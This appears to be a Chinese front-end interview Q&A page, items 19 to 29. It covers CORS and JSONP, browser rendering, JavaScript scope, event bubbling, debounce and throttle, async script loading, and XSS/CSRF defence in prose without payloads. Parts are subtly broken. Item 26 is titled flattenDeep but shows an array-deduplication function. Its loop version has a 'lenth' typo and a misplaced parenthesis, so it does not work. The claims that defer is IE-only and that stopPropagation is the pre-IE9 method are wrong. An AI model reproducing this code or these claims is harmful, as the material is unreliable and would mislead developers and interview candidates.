<h2 id="19%E3%80%81%E8%B7%A8%E5%9F%9F%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88">19&#x3001;&#x8DE8;&#x57DF;&#x89E3;&#x51B3;&#x65B9;&#x6848;</h2>
<ol>
<li>&#xFF08;&#x540E;&#x7AEF;&#xFF09;&#x670D;&#x52A1;&#x5668;&#x914D;&#x7F6E;CORS(&#x8DE8;&#x57DF;&#x8D44;&#x6E90;&#x5171;&#x4EAB;)</li>
<li>&#xFF08;&#x540E;&#x7AEF;&#xFF09;node.js&#x6216;nginx,&#x53CD;&#x5411;&#x4EE3;&#x7406;&#xFF0C;&#x628A;&#x8DE8;&#x57DF;&#x6539;&#x9020;&#x6210;&#x540C;&#x57DF;</li>
<li>&#xFF08;&#x524D;&#x7AEF;&#xFF09;&#x5C06;JSON&#x5347;&#x7EA7;&#x6210;JSONP,&#x5728;JSON&#x7684;&#x57FA;&#x7840;&#x4E0A;&#xFF0C;&#x5229;&#x7528;&lt;script&gt;&#x6807;&#x7B7E;&#x53EF;&#x4EE5;&#x8DE8;&#x57DF;&#x7684;&#x7279;&#x6027;&#xFF0C;&#x52A0;&#x4E0A;&#x5934;&#x8BBE;&#x7F6E;</li>
</ol>
<h2 id="20%E3%80%81%E4%BB%8E%E6%B5%8F%E8%A7%88%E5%99%A8%E5%9C%B0%E5%9D%80%E6%A0%8F%E8%BE%93%E5%85%A5url%E5%88%B0%E6%98%BE%E7%A4%BA%E9%A1%B5%E9%9D%A2%E7%9A%84%E6%AD%A5%E9%AA%A4">20&#x3001;&#x4ECE;&#x6D4F;&#x89C8;&#x5668;&#x5730;&#x5740;&#x680F;&#x8F93;&#x5165;URL&#x5230;&#x663E;&#x793A;&#x9875;&#x9762;&#x7684;&#x6B65;&#x9AA4;</h2>
<pre><code>&#x6D4F;&#x89C8;&#x5668;&#x6839;&#x636E;&#x8BF7;&#x6C42;&#x7684;URL&#x4EA4;&#x7ED9;DNS&#x57DF;&#x540D;&#x89E3;&#x6790;&#xFF0C;&#x627E;&#x5230;&#x771F;&#x5B9E;IP&#xFF0C;&#x5411;&#x670D;&#x52A1;&#x5668;&#x53D1;&#x8D77;&#x8BF7;&#x6C42;&#xFF1B;
&#x670D;&#x52A1;&#x5668;&#x4EA4;&#x7ED9;&#x540E;&#x53F0;&#x5904;&#x7406;&#x5B8C;&#x6210;&#x540E;&#x8FD4;&#x56DE;&#x6570;&#x636E;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x63A5;&#x6536;&#x6587;&#x4EF6;&#xFF08;html&#xFF0C;js&#xFF0C;css&#xFF0C;&#x56FE;&#x50CF;&#x7B49;&#xFF09;;
&#x6D4F;&#x89C8;&#x5668;&#x5BF9;&#x52A0;&#x8F7D;&#x5230;&#x7684;&#x8D44;&#x6E90;&#xFF08;html&#xFF0C;js&#xFF0C;css&#x7B49;&#xFF09;&#x8FDB;&#x884C;&#x8BED;&#x6CD5;&#x89E3;&#x6790;&#xFF0C;&#x5EFA;&#x7ACB;&#x76F8;&#x5E94;&#x7684;&#x5185;&#x90E8;&#x6570;&#x636E;&#x7ED3;&#x6784;&#xFF08;&#x5982;HTML&#x7684;DOM&#xFF09;;
&#x8F7D;&#x5165;&#x89E3;&#x6790;&#x5230;&#x7684;&#x8D44;&#x6E90;&#x6587;&#x4EF6;&#xFF0C;&#x6E32;&#x67D3;&#x9875;&#x9762;&#xFF0C;&#x5B8C;&#x6210;&#x3002;
</code></pre>
<h2 id="21%E3%80%81javascript-%E4%B8%AD%E7%9A%84%E4%BD%9C%E7%94%A8%E5%9F%9F%EF%BC%88scope%EF%BC%89%E6%98%AF%E6%8C%87%E4%BB%80%E4%B9%88%EF%BC%9F">21&#x3001;JavaScript &#x4E2D;&#x7684;&#x4F5C;&#x7528;&#x57DF;&#xFF08;scope&#xFF09;&#x662F;&#x6307;&#x4EC0;&#x4E48;&#xFF1F;</h2>
<p>&#x5728; JavaScript &#x4E2D;&#xFF0C;&#x6BCF;&#x4E2A;&#x51FD;&#x6570;&#x90FD;&#x6709;&#x81EA;&#x5DF1;&#x7684;&#x4F5C;&#x7528;&#x57DF;&#x3002;&#x4F5C;&#x7528;&#x57DF;&#x57FA;&#x672C;&#x4E0A;&#x662F;&#x53D8;&#x91CF;&#x4EE5;&#x53CA;&#x5982;&#x4F55;&#x901A;&#x8FC7;&#x540D;&#x79F0;&#x8BBF;&#x95EE;&#x8FD9;&#x4E9B;&#x53D8;&#x91CF;&#x7684;&#x89C4;&#x5219;&#x7684;&#x96C6;&#x5408;&#x3002;&#x53EA;&#x6709;&#x51FD;&#x6570;&#x4E2D;&#x7684;&#x4EE3;&#x7801;&#x624D;&#x80FD;&#x8BBF;&#x95EE;&#x51FD;&#x6570;&#x4F5C;&#x7528;&#x57DF;&#x5185;&#x7684;&#x53D8;&#x91CF;&#x3002;<br>
&#x540C;&#x4E00;&#x4E2A;&#x4F5C;&#x7528;&#x57DF;&#x4E2D;&#x7684;&#x53D8;&#x91CF;&#x540D;&#x5FC5;&#x987B;&#x662F;&#x552F;&#x4E00;&#x7684;&#x3002;&#x4E00;&#x4E2A;&#x4F5C;&#x7528;&#x57DF;&#x53EF;&#x4EE5;&#x5D4C;&#x5957;&#x5728;&#x53E6;&#x4E00;&#x4E2A;&#x4F5C;&#x7528;&#x57DF;&#x5185;&#x3002;&#x5982;&#x679C;&#x4E00;&#x4E2A;&#x4F5C;&#x7528;&#x57DF;&#x5D4C;&#x5957;&#x5728;&#x53E6;&#x4E00;&#x4E2A;&#x4F5C;&#x7528;&#x57DF;&#x5185;&#xFF0C;&#x6700;&#x5185;&#x90E8;&#x4F5C;&#x7528;&#x57DF;&#x5185;&#x7684;&#x4EE3;&#x7801;&#x53EF;&#x4EE5;&#x8BBF;&#x95EE;&#x53E6;&#x4E00;&#x4E2A;&#x4F5C;&#x7528;&#x57DF;&#x7684;&#x53D8;&#x91CF;&#x3002;</p>
<h2 id="22%E3%80%81-%E8%A7%A3%E9%87%8A-javascript-%E4%B8%AD%E7%9A%84-null-%E5%92%8C-undefined">22&#x3001; &#x89E3;&#x91CA; JavaScript &#x4E2D;&#x7684; null &#x548C; undefined</h2>
<p>JavaScript &#x4E2D;&#x6709;&#x4E24;&#x79CD;&#x5E95;&#x5C42;&#x7C7B;&#x578B;&#xFF1A;null &#x548C; undefined&#x3002;&#x5B83;&#x4EEC;&#x4EE3;&#x8868;&#x4E86;&#x4E0D;&#x540C;&#x7684;&#x542B;&#x4E49;&#xFF1A;</p>
<ul>
<li>&#x5C1A;&#x672A;&#x521D;&#x59CB;&#x5316;&#x7684;&#x4E1C;&#x897F;&#xFF1A;<code>undefined</code></li>
<li>&#x76EE;&#x524D;&#x4E0D;&#x53EF;&#x7528;&#x7684;&#x4E1C;&#x897F;&#xFF1A;<code>null</code></li>
<li>typeof &#x4E5F;&#x4E0D;&#x4E00;&#x6837;</li>
</ul>
<h2 id="23%E3%80%81%E8%A7%A3%E9%87%8A%E4%BA%8B%E4%BB%B6%E5%86%92%E6%B3%A1%E4%BB%A5%E5%8F%8A%E5%A6%82%E4%BD%95%E9%98%BB%E6%AD%A2%E5%AE%83%EF%BC%9F">23&#x3001;&#x89E3;&#x91CA;&#x4E8B;&#x4EF6;&#x5192;&#x6CE1;&#x4EE5;&#x53CA;&#x5982;&#x4F55;&#x963B;&#x6B62;&#x5B83;&#xFF1F;</h2>
<p>&#x4E8B;&#x4EF6;&#x5192;&#x6CE1;&#x662F;&#x6307;&#x5D4C;&#x5957;&#x6700;&#x6DF1;&#x7684;&#x5143;&#x7D20;&#x89E6;&#x53D1;&#x4E00;&#x4E2A;&#x4E8B;&#x4EF6;&#xFF0C;&#x7136;&#x540E;&#x8FD9;&#x4E2A;&#x4E8B;&#x4EF6;&#x987A;&#x7740;&#x5D4C;&#x5957;&#x987A;&#x5E8F;&#x5728;&#x7236;&#x5143;&#x7D20;&#x4E0A;&#x89E6;&#x53D1;&#x3002;</p>
<p>&#x9632;&#x6B62;&#x4E8B;&#x4EF6;&#x5192;&#x6CE1;&#x7684;&#x4E00;&#x79CD;&#x65B9;&#x6CD5;&#x662F;&#x4F7F;&#x7528; event.cancelBubble &#x6216; event.stopPropagation()&#xFF08;&#x4F4E;&#x4E8E; IE 9&#xFF09;&#x3002;</p>
<h2 id="24%E3%80%81%E4%BB%80%E4%B9%88%E6%98%AF%E9%98%B2%E6%8A%96%E5%92%8C%E8%8A%82%E6%B5%81%EF%BC%9F%E6%9C%89%E4%BB%80%E4%B9%88%E5%8C%BA%E5%88%AB%EF%BC%9F%E5%A6%82%E4%BD%95%E5%AE%9E%E7%8E%B0%EF%BC%9F">24&#x3001;&#x4EC0;&#x4E48;&#x662F;&#x9632;&#x6296;&#x548C;&#x8282;&#x6D41;&#xFF1F;&#x6709;&#x4EC0;&#x4E48;&#x533A;&#x522B;&#xFF1F;&#x5982;&#x4F55;&#x5B9E;&#x73B0;&#xFF1F;</h2>
<h5 id="%E9%98%B2%E6%8A%96">&#x9632;&#x6296;</h5>
<p>&#x89E6;&#x53D1;&#x9AD8;&#x9891;&#x4E8B;&#x4EF6;&#x540E; n &#x79D2;&#x5185;&#x51FD;&#x6570;&#x53EA;&#x4F1A;&#x6267;&#x884C;&#x4E00;&#x6B21;&#xFF0C;&#x5982;&#x679C; n &#x79D2;&#x5185;&#x9AD8;&#x9891;&#x4E8B;&#x4EF6;&#x518D;&#x6B21;&#x88AB;&#x89E6;&#x53D1;&#xFF0C;&#x5219;&#x91CD;&#x65B0;&#x8BA1;&#x7B97;&#x65F6;&#x95F4;&#xFF1B;</p>
<p>&#x5E94;&#x7528;&#x573A;&#x666F;&#xFF1A;</p>
<ol>
<li>&#x641C;&#x7D22;&#x6846;&#x8F93;&#x5165;&#x67E5;&#x8BE2;&#xFF0C;&#x5982;&#x679C;&#x7528;&#x6237;&#x4E00;&#x76F4;&#x5728;&#x8F93;&#x5165;&#x4E2D;&#xFF0C;&#x6CA1;&#x6709;&#x5FC5;&#x8981;&#x4E0D;&#x505C;&#x5730;&#x8C03;&#x7528;&#x53BB;&#x8BF7;&#x6C42;&#x670D;&#x52A1;&#x7AEF;&#x63A5;&#x53E3;&#xFF0C;&#x7B49;&#x7528;&#x6237;&#x505C;&#x6B62;&#x8F93;&#x5165;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x518D;&#x8C03;&#x7528;&#xFF0C;&#x8BBE;&#x7F6E;&#x4E00;&#x4E2A;&#x5408;&#x9002;&#x7684;&#x65F6;&#x95F4;&#x95F4;&#x9694;&#xFF0C;&#x6709;&#x6548;&#x51CF;&#x8F7B;&#x670D;&#x52A1;&#x7AEF;&#x538B;&#x529B;&#x3002;</li>
<li>&#x8868;&#x5355;&#x9A8C;&#x8BC1;</li>
<li>&#x6309;&#x94AE;&#x63D0;&#x4EA4;&#x4E8B;&#x4EF6;&#x3002;</li>
<li>&#x6D4F;&#x89C8;&#x5668;&#x7A97;&#x53E3;&#x7F29;&#x653E;&#xFF0C;resize&#x4E8B;&#x4EF6;(&#x5982;&#x7A97;&#x53E3;&#x505C;&#x6B62;&#x6539;&#x53D8;&#x5927;&#x5C0F;&#x4E4B;&#x540E;&#x91CD;&#x65B0;&#x8BA1;&#x7B97;&#x5E03;&#x5C40;)&#x7B49;&#x3002;</li>
</ol>
<p>&#x601D;&#x8DEF;&#xFF1A;&#x6BCF;&#x6B21;&#x89E6;&#x53D1;&#x4E8B;&#x4EF6;&#x65F6;&#x90FD;&#x53D6;&#x6D88;&#x4E4B;&#x524D;&#x7684;&#x5EF6;&#x65F6;&#x8C03;&#x7528;&#x65B9;&#x6CD5;&#xFF1A;</p>
<p>&#x4EE3;&#x7801;&#xFF1A;</p>
<pre><code class="language-javascript">function debounce(fn) {
  let timeout = null; // &#x521B;&#x5EFA;&#x4E00;&#x4E2A;&#x6807;&#x8BB0;&#x7528;&#x6765;&#x5B58;&#x653E;&#x5B9A;&#x65F6;&#x5668;&#x7684;&#x8FD4;&#x56DE;&#x503C;
  return function () {
    clearTimeout(timeout); // &#x6BCF;&#x5F53;&#x7528;&#x6237;&#x8F93;&#x5165;&#x7684;&#x65F6;&#x5019;&#x628A;&#x524D;&#x4E00;&#x4E2A; setTimeout clear &#x6389;
    timeout = setTimeout(() =&gt; { 
      // &#x7136;&#x540E;&#x53C8;&#x521B;&#x5EFA;&#x4E00;&#x4E2A;&#x65B0;&#x7684; setTimeout
      // &#x8FD9;&#x6837;&#x5C31;&#x80FD;&#x4FDD;&#x8BC1;&#x8F93;&#x5165;&#x5B57;&#x7B26;&#x540E;&#x7684; interval &#x95F4;&#x9694;&#x5185;&#x5982;&#x679C;&#x8FD8;&#x6709;&#x5B57;&#x7B26;&#x8F93;&#x5165;&#x7684;&#x8BDD;&#xFF0C;&#x5C31;&#x4E0D;&#x4F1A;&#x6267;&#x884C; fn &#x51FD;&#x6570;
      fn.apply(this, arguments);
    }, 500);
  };
}
function sayHi() {
  console.log(&apos;&#x9632;&#x6296;&#x6210;&#x529F;&apos;);
}

var inp = document.getElementById(&apos;inp&apos;);
inp.addEventListener(&apos;input&apos;, debounce(sayHi)); // &#x9632;&#x6296;
&#x590D;&#x5236;&#x4EE3;&#x7801;
</code></pre>
<h5 id="%E8%8A%82%E6%B5%81">&#x8282;&#x6D41;</h5>
<p>&#x9AD8;&#x9891;&#x4E8B;&#x4EF6;&#x89E6;&#x53D1;&#xFF0C;&#x4F46;&#x5728; n &#x79D2;&#x5185;&#x53EA;&#x4F1A;&#x6267;&#x884C;&#x4E00;&#x6B21;&#xFF0C;&#x6240;&#x4EE5;&#x8282;&#x6D41;&#x4F1A;&#x7A00;&#x91CA;&#x51FD;&#x6570;&#x7684;&#x6267;&#x884C;&#x9891;&#x7387;&#x3002;</p>
<p>&#x4F7F;&#x7528;&#x573A;&#x666F;&#xFF1A;</p>
<ol>
<li>&#x6309;&#x94AE;&#x70B9;&#x51FB;&#x4E8B;&#x4EF6;</li>
<li>&#x62D6;&#x62FD;&#x4E8B;&#x4EF6;</li>
<li>onScoll</li>
<li>&#x8BA1;&#x7B97;&#x9F20;&#x6807;&#x79FB;&#x52A8;&#x7684;&#x8DDD;&#x79BB;(mousemove)</li>
</ol>
<p>&#x601D;&#x8DEF;&#xFF1A;&#x6BCF;&#x6B21;&#x89E6;&#x53D1;&#x4E8B;&#x4EF6;&#x65F6;&#x90FD;&#x5224;&#x65AD;&#x5F53;&#x524D;&#x662F;&#x5426;&#x6709;&#x7B49;&#x5F85;&#x6267;&#x884C;&#x7684;&#x5EF6;&#x65F6;&#x51FD;&#x6570;&#x3002;<br>
&#x4EE3;&#x7801;&#xFF1A;</p>
<pre><code class="language-javascript">function throttle(fn) {
  let canRun = true; // &#x901A;&#x8FC7;&#x95ED;&#x5305;&#x4FDD;&#x5B58;&#x4E00;&#x4E2A;&#x6807;&#x8BB0;
  return function () {
    if (!canRun) return; // &#x5728;&#x51FD;&#x6570;&#x5F00;&#x5934;&#x5224;&#x65AD;&#x6807;&#x8BB0;&#x662F;&#x5426;&#x4E3A; true&#xFF0C;&#x4E0D;&#x4E3A; true &#x5219; return
    canRun = false; // &#x7ACB;&#x5373;&#x8BBE;&#x7F6E;&#x4E3A; false
    setTimeout(() =&gt; { // &#x5C06;&#x5916;&#x90E8;&#x4F20;&#x5165;&#x7684;&#x51FD;&#x6570;&#x7684;&#x6267;&#x884C;&#x653E;&#x5728; setTimeout &#x4E2D;
      fn.apply(this, arguments);
      // &#x6700;&#x540E;&#x5728; setTimeout &#x6267;&#x884C;&#x5B8C;&#x6BD5;&#x540E;&#x518D;&#x628A;&#x6807;&#x8BB0;&#x8BBE;&#x7F6E;&#x4E3A; true(&#x5173;&#x952E;) &#x8868;&#x793A;&#x53EF;&#x4EE5;&#x6267;&#x884C;&#x4E0B;&#x4E00;&#x6B21;&#x5FAA;&#x73AF;&#x4E86;
      // &#x5F53;&#x5B9A;&#x65F6;&#x5668;&#x6CA1;&#x6709;&#x6267;&#x884C;&#x7684;&#x65F6;&#x5019;&#x6807;&#x8BB0;&#x6C38;&#x8FDC;&#x662F; false&#xFF0C;&#x5728;&#x5F00;&#x5934;&#x88AB; return &#x6389;
      canRun = true;
    }, 500);
  };
}
function sayHi(e) {
  console.log(e.target.innerWidth, e.target.innerHeight);
}
window.addEventListener(&apos;resize&apos;, throttle(sayHi));
</code></pre>
<h2 id="25%E3%80%81%E6%B5%8F%E8%A7%88%E5%99%A8%E6%98%AF%E5%A6%82%E4%BD%95%E6%B8%B2%E6%9F%93ui%E7%9A%84%EF%BC%9F">25&#x3001;&#x6D4F;&#x89C8;&#x5668;&#x662F;&#x5982;&#x4F55;&#x6E32;&#x67D3;UI&#x7684;&#xFF1F;</h2>
<ol>
<li>&#x6D4F;&#x89C8;&#x5668;&#x83B7;&#x53D6;HTML&#x6587;&#x4EF6;&#xFF0C;&#x7136;&#x540E;&#x5BF9;&#x6587;&#x4EF6;&#x8FDB;&#x884C;&#x89E3;&#x6790;&#xFF0C;&#x5F62;&#x6210;DOM Tree</li>
<li>&#x4E0E;&#x6B64;&#x540C;&#x65F6;&#xFF0C;&#x8FDB;&#x884C;CSS&#x89E3;&#x6790;&#xFF0C;&#x751F;&#x6210;Style Rules</li>
<li>&#x63A5;&#x7740;&#x5C06;DOM Tree&#x4E0E;Style Rules&#x5408;&#x6210;&#x4E3A; Render Tree</li>
<li>&#x63A5;&#x7740;&#x8FDB;&#x5165;&#x5E03;&#x5C40;&#xFF08;Layout&#xFF09;&#x9636;&#x6BB5;&#xFF0C;&#x4E5F;&#x5C31;&#x662F;&#x4E3A;&#x6BCF;&#x4E2A;&#x8282;&#x70B9;&#x5206;&#x914D;&#x4E00;&#x4E2A;&#x5E94;&#x51FA;&#x73B0;&#x5728;&#x5C4F;&#x5E55;&#x4E0A;&#x7684;&#x786E;&#x5207;&#x5750;&#x6807;</li>
<li>&#x968F;&#x540E;&#x8C03;&#x7528;GPU&#x8FDB;&#x884C;&#x7ED8;&#x5236;&#xFF08;Paint&#xFF09;&#xFF0C;&#x904D;&#x5386;Render Tree&#x7684;&#x8282;&#x70B9;&#xFF0C;&#x5E76;&#x5C06;&#x5143;&#x7D20;&#x5448;&#x73B0;&#x51FA;&#x6765;</li>
</ol>
<h2 id="26%E3%80%81%E8%AF%B7%E5%AE%9E%E7%8E%B0%E4%B8%80%E4%B8%AA-flattendeep-%E5%87%BD%E6%95%B0%EF%BC%8C%E6%8A%8A%E5%B5%8C%E5%A5%97%E7%9A%84%E6%95%B0%E7%BB%84%E6%89%81%E5%B9%B3%E5%8C%96">26&#x3001;&#x8BF7;&#x5B9E;&#x73B0;&#x4E00;&#x4E2A; flattenDeep &#x51FD;&#x6570;&#xFF0C;&#x628A;&#x5D4C;&#x5957;&#x7684;&#x6570;&#x7EC4;&#x6241;&#x5E73;&#x5316;</h2>
<p>&#x4F8B;&#x5982;:</p>
<pre><code class="language-javascript">uniq([1, 2, 3, 5, 3, 2]);//[1, 2, 3, 5]
</code></pre>
<p>&#x65B9;&#x6848;1&#xFF1A;&#x5229;&#x7528;ES6&#x65B0;&#x589E;&#x6570;&#x636E;&#x7C7B;&#x578B; <code>Set</code></p>
<pre><code class="language-javascript">function uniq(array) {
    return [...new Set(array)]
}
</code></pre>
<p>&#x65B9;&#x6848;2: &#x5229;&#x7528; <code>indexOf</code></p>
<pre><code class="language-javascript">function uniq(array) {
    var result = [];
    for (var i = 0; i &lt; array.lenth; i++) {
        if (result.indexOf(array[i]=== -1)){
            result.push(array[i])
        }
    }
    return result;
}
</code></pre>
<h2 id="27%E3%80%81jsonp-%E7%9A%84%E5%8E%9F%E7%90%86%E6%98%AF%E4%BB%80%E4%B9%88%EF%BC%9F">27&#x3001;JSONP &#x7684;&#x539F;&#x7406;&#x662F;&#x4EC0;&#x4E48;&#xFF1F;</h2>
<p>&#x5C3D;&#x7BA1;&#x6D4F;&#x89C8;&#x5668;&#x6709;&#x540C;&#x6E90;&#x7B56;&#x7565;&#xFF0C;&#x4F46;&#x662F; <code>&lt;script&gt;</code> &#x6807;&#x7B7E;&#x7684; <code>src</code> &#x5C5E;&#x6027;&#x4E0D;&#x4F1A;&#x88AB;&#x540C;&#x6E90;&#x7B56;&#x7565;&#x6240;&#x7EA6;&#x675F;&#xFF0C;&#x53EF;&#x4EE5;&#x83B7;&#x53D6;&#x4EFB;&#x610F;&#x670D;&#x52A1;&#x5668;&#x4E0A;&#x7684;&#x811A;&#x672C;&#x5E76;&#x6267;&#x884C;&#x3002;<code>jsonp</code> &#x901A;&#x8FC7;&#x63D2;&#x5165; <code>script</code> &#x6807;&#x7B7E;&#x7684;&#x65B9;&#x5F0F;&#x6765;&#x5B9E;&#x73B0;&#x8DE8;&#x57DF;&#xFF0C;&#x53C2;&#x6570;&#x53EA;&#x80FD;&#x901A;&#x8FC7; <code>url</code> &#x4F20;&#x5165;&#xFF0C;&#x4EC5;&#x80FD;&#x652F;&#x6301; <code>get</code> &#x8BF7;&#x6C42;&#x3002;</p>
<ul>
<li>Step1: &#x521B;&#x5EFA; callback &#x65B9;&#x6CD5;</li>
<li>Step2: &#x63D2;&#x5165; script &#x6807;&#x7B7E;</li>
<li>Step3: &#x540E;&#x53F0;&#x63A5;&#x53D7;&#x5230;&#x8BF7;&#x6C42;&#xFF0C;&#x89E3;&#x6790;&#x524D;&#x7AEF;&#x4F20;&#x8FC7;&#x53BB;&#x7684; callback &#x65B9;&#x6CD5;&#xFF0C;&#x8FD4;&#x56DE;&#x8BE5;&#x65B9;&#x6CD5;&#x7684;&#x8C03;&#x7528;&#xFF0C;&#x5E76;&#x4E14;&#x6570;&#x636E;&#x4F5C;&#x4E3A;&#x53C2;&#x6570;&#x4F20;&#x5165;&#x8BE5;&#x65B9;&#x6CD5;</li>
<li>Step4: &#x524D;&#x7AEF;&#x6267;&#x884C;&#x670D;&#x52A1;&#x7AEF;&#x8FD4;&#x56DE;&#x7684;&#x65B9;&#x6CD5;&#x8C03;&#x7528;</li>
</ul>
<h2 id="28%E3%80%81%E5%BC%82%E6%AD%A5%E5%8A%A0%E8%BD%BDjs%E7%9A%84%E6%96%B9%E5%BC%8F%E6%9C%89%E5%93%AA%E4%BA%9B%EF%BC%9F">28&#x3001;&#x5F02;&#x6B65;&#x52A0;&#x8F7D;JS&#x7684;&#x65B9;&#x5F0F;&#x6709;&#x54EA;&#x4E9B;&#xFF1F;</h2>
<ul>
<li>defer&#xFF0C;&#x53EA;&#x652F;&#x6301;<code>IE</code></li>
<li><code>async</code>&#xFF1A;</li>
<li>&#x521B;&#x5EFA;<code>script</code>&#xFF0C;&#x63D2;&#x5165;&#x5230;<code>DOM</code>&#x4E2D;&#xFF0C;&#x52A0;&#x8F7D;&#x5B8C;&#x6BD5;&#x540E;<code>callBack</code></li>
<li><code>defer</code>&#x5E76;&#x884C;&#x52A0;&#x8F7D;<code>js</code>&#x6587;&#x4EF6;&#xFF0C;&#x4F1A;&#x6309;&#x7167;&#x9875;&#x9762;&#x4E0A;<code>script</code>&#x6807;&#x7B7E;&#x7684;&#x987A;&#x5E8F;&#x6267;&#x884C;</li>
<li><code>async</code>&#x5E76;&#x884C;&#x52A0;&#x8F7D;<code>js</code>&#x6587;&#x4EF6;&#xFF0C;&#x4E0B;&#x8F7D;&#x5B8C;&#x6210;&#x7ACB;&#x5373;&#x6267;&#x884C;&#xFF0C;&#x4E0D;&#x4F1A;&#x6309;&#x7167;&#x9875;&#x9762;&#x4E0A;<code>script</code>&#x6807;&#x7B7E;&#x7684;&#x987A;&#x5E8F;&#x6267;&#x884C;</li>
</ul>
<h2 id="29%E3%80%81%E5%B8%B8%E8%A7%81web%E5%AE%89%E5%85%A8%E5%8F%8A%E9%98%B2%E6%8A%A4%E5%8E%9F%E7%90%86">29&#x3001;&#x5E38;&#x89C1;web&#x5B89;&#x5168;&#x53CA;&#x9632;&#x62A4;&#x539F;&#x7406;</h2>
<p><strong>XSS&#x539F;&#x7406;&#x53CA;&#x9632;&#x8303;</strong></p>
<ul>
<li><code>Xss(cross-site scripting)</code>&#x653B;&#x51FB;&#x6307;&#x7684;&#x662F;&#x653B;&#x51FB;&#x8005;&#x5F80;<code>Web</code>&#x9875;&#x9762;&#x91CC;&#x63D2;&#x5165;&#x6076;&#x610F;<code>html</code>&#x6807;&#x7B7E;&#x6216;&#x8005;<code>javascript</code>&#x4EE3;&#x7801;&#x3002;&#x6BD4;&#x5982;&#xFF1A;&#x653B;&#x51FB;&#x8005;&#x5728;&#x8BBA;&#x575B;&#x4E2D;&#x653E;&#x4E00;&#x4E2A;&#x770B;&#x4F3C;&#x5B89;&#x5168;&#x7684;&#x94FE;&#x63A5;&#xFF0C;&#x9A97;&#x53D6;&#x7528;&#x6237;&#x70B9;&#x51FB;&#x540E;&#xFF0C;&#x7A83;&#x53D6;<code>cookie</code>&#x4E2D;&#x7684;&#x7528;&#x6237;&#x79C1;&#x5BC6;&#x4FE1;&#x606F;&#xFF1B;&#x6216;&#x8005;&#x653B;&#x51FB;&#x8005;&#x5728;&#x8BBA;&#x575B;&#x4E2D;&#x52A0;&#x4E00;&#x4E2A;&#x6076;&#x610F;&#x8868;&#x5355;&#xFF0C;&#x5F53;&#x7528;&#x6237;&#x63D0;&#x4EA4;&#x8868;&#x5355;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x5374;&#x628A;&#x4FE1;&#x606F;&#x4F20;&#x9001;&#x5230;&#x653B;&#x51FB;&#x8005;&#x7684;&#x670D;&#x52A1;&#x5668;&#x4E2D;&#xFF0C;&#x800C;&#x4E0D;&#x662F;&#x7528;&#x6237;&#x539F;&#x672C;&#x4EE5;&#x4E3A;&#x7684;&#x4FE1;&#x4EFB;&#x7AD9;&#x70B9;<br>
<strong>XSS&#x9632;&#x8303;&#x65B9;&#x6CD5;</strong></li>
<li>&#x9996;&#x5148;&#x4EE3;&#x7801;&#x91CC;&#x5BF9;&#x7528;&#x6237;&#x8F93;&#x5165;&#x7684;&#x5730;&#x65B9;&#x548C;&#x53D8;&#x91CF;&#x90FD;&#x9700;&#x8981;&#x4ED4;&#x7EC6;&#x68C0;&#x67E5;&#x957F;&#x5EA6;&#x548C;&#x5BF9;<code>&#x201D;&lt;&#x201D;,&#x201D;&gt;&#x201D;,&#x201D;;&#x201D;,&#x201D;&#x2019;&#x201D;</code>&#x7B49;&#x5B57;&#x7B26;&#x505A;&#x8FC7;&#x6EE4;&#xFF1B;&#x5176;&#x6B21;&#x4EFB;&#x4F55;&#x5185;&#x5BB9;&#x5199;&#x5230;&#x9875;&#x9762;&#x4E4B;&#x524D;&#x90FD;&#x5FC5;&#x987B;&#x52A0;&#x4EE5;encode&#xFF0C;&#x907F;&#x514D;&#x4E0D;&#x5C0F;&#x5FC3;&#x628A;<code>html tag</code> &#x5F04;&#x51FA;&#x6765;&#x3002;&#x8FD9;&#x4E00;&#x4E2A;&#x5C42;&#x9762;&#x505A;&#x597D;&#xFF0C;&#x81F3;&#x5C11;&#x53EF;&#x4EE5;&#x5835;&#x4F4F;&#x8D85;&#x8FC7;&#x4E00;&#x534A;&#x7684;XSS &#x653B;&#x51FB;<br>
<strong>XSS&#x4E0E;CSRF&#x6709;&#x4EC0;&#x4E48;&#x533A;&#x522B;&#x5417;&#xFF1F;</strong></li>
<li><code>XSS</code>&#x662F;&#x83B7;&#x53D6;&#x4FE1;&#x606F;&#xFF0C;&#x4E0D;&#x9700;&#x8981;&#x63D0;&#x524D;&#x77E5;&#x9053;&#x5176;&#x4ED6;&#x7528;&#x6237;&#x9875;&#x9762;&#x7684;&#x4EE3;&#x7801;&#x548C;&#x6570;&#x636E;&#x5305;&#x3002;<code>CSRF</code>&#x662F;&#x4EE3;&#x66FF;&#x7528;&#x6237;&#x5B8C;&#x6210;&#x6307;&#x5B9A;&#x7684;&#x52A8;&#x4F5C;&#xFF0C;&#x9700;&#x8981;&#x77E5;&#x9053;&#x5176;&#x4ED6;&#x7528;&#x6237;&#x9875;&#x9762;&#x7684;&#x4EE3;&#x7801;&#x548C;&#x6570;&#x636E;&#x5305;&#x3002;&#x8981;&#x5B8C;&#x6210;&#x4E00;&#x6B21;<code>CSRF</code>&#x653B;&#x51FB;&#xFF0C;&#x53D7;&#x5BB3;&#x8005;&#x5FC5;&#x987B;&#x4F9D;&#x6B21;&#x5B8C;&#x6210;&#x4E24;&#x4E2A;&#x6B65;&#x9AA4;</li>
<li>&#x767B;&#x5F55;&#x53D7;&#x4FE1;&#x4EFB;&#x7F51;&#x7AD9;<code>A</code>&#xFF0C;&#x5E76;&#x5728;&#x672C;&#x5730;&#x751F;&#x6210;<code>Cookie</code></li>
<li>&#x5728;&#x4E0D;&#x767B;&#x51FA;<code>A</code>&#x7684;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x8BBF;&#x95EE;&#x5371;&#x9669;&#x7F51;&#x7AD9;<code>B</code><br>
<strong>CSRF&#x7684;&#x9632;&#x5FA1;</strong></li>
<li>&#x670D;&#x52A1;&#x7AEF;&#x7684;<code>CSRF</code>&#x65B9;&#x5F0F;&#x65B9;&#x6CD5;&#x5F88;&#x591A;&#x6837;&#xFF0C;&#x4F46;&#x603B;&#x7684;&#x601D;&#x60F3;&#x90FD;&#x662F;&#x4E00;&#x81F4;&#x7684;&#xFF0C;&#x5C31;&#x662F;&#x5728;&#x5BA2;&#x6237;&#x7AEF;&#x9875;&#x9762;&#x589E;&#x52A0;&#x4F2A;&#x968F;&#x673A;&#x6570;</li>
<li>&#x901A;&#x8FC7;&#x9A8C;&#x8BC1;&#x7801;&#x7684;&#x65B9;&#x6CD5;</li>
</ul>
